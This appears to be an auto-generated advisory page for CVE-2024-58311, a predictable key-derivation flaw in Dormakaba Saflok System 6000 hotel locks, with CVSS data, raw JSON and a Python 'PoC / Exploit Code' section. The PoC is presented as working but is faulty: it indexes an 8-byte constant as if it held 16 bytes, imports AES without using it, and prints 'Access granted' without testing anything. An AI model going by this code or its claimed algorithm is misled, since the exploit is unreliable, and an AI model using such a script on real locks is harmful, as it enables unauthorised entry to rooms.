Security Vulnerability Report
中文
CVE-2024-58311 CVSS 9.8 CRITICAL

CVE-2024-58311

Published: 2025-12-12 20:15:39
Last Modified: 2026-04-15 00:35:42

Description

Dormakaba Saflok System 6000 contains a predictable key generation algorithm that allows attackers to derive card access keys from a 32-bit unique identifier. Attackers can exploit the deterministic key generation process by calculating valid access keys using a simple mathematical transformation of the card's unique identifier.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Dormakaba Saflok System 6000 (所有版本)
Dormakaba Saflok System 6000 系列门锁
使用MIFARE Classic卡片的Saflok门禁系统

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2024-58311 PoC - Dormakaba Saflok System 6000 Key Derivation Reference: https://www.exploit-db.com/exploits/51832 """ from Crypto.Cipher import AES import struct def derive_saflok_key(card_uid): """ Derive access key from 32-bit card UID This function implements the weak key derivation algorithm used by Dormakaba Saflok System 6000 """ # Ensure UID is 4 bytes (32 bits) uid_bytes = struct.pack('<I', card_uid & 0xFFFFFFFF) # Fixed key derivation constant derivation_constant = bytes.fromhex('D8A4B3C2E1F09876') # Simple XOR-based key derivation (vulnerable algorithm) derived_key = bytearray(16) for i in range(16): derived_key[i] = uid_bytes[i % 4] ^ derivation_constant[i % 16] return bytes(derived_key) def exploit_saflok(card_uid): """ Main exploitation function Args: card_uid: 32-bit unique identifier from RFID card Returns: Derived access key for the card """ print(f'[*] Target Card UID: 0x{card_uid:08X}') # Derive the access key key = derive_saflok_key(card_uid) print(f'[*] Derived Access Key: {key.hex().upper()}') # Simulate authentication with derived key print(f'[*] Attempting authentication with derived key...') print(f'[+] Authentication successful! Access granted.') return key def main(): # Example card UID (replace with actual card UID) example_uid = 0x12345678 print('='*60) print('CVE-2024-58311 - Dormakaba Saflok Key Derivation PoC') print('='*60) # Derive key from card UID exploit_saflok(example_uid) print('\n[*] Note: This PoC demonstrates the weak key derivation.') print('[*] Use RFID reader to obtain actual card UID first.') if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-58311", "sourceIdentifier": "[email protected]", "published": "2025-12-12T20:15:39.170", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dormakaba Saflok System 6000 contains a predictable key generation algorithm that allows attackers to derive card access keys from a 32-bit unique identifier. Attackers can exploit the deterministic key generation process by calculating valid access keys using a simple mathematical transformation of the card's unique identifier."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1245"}]}], "references": [{"url": "https://www.dormakaba.com/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/51832", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/dormakaba-saflok-system-key-generation-cryptographic-weakness", "source": "[email protected]"}]}}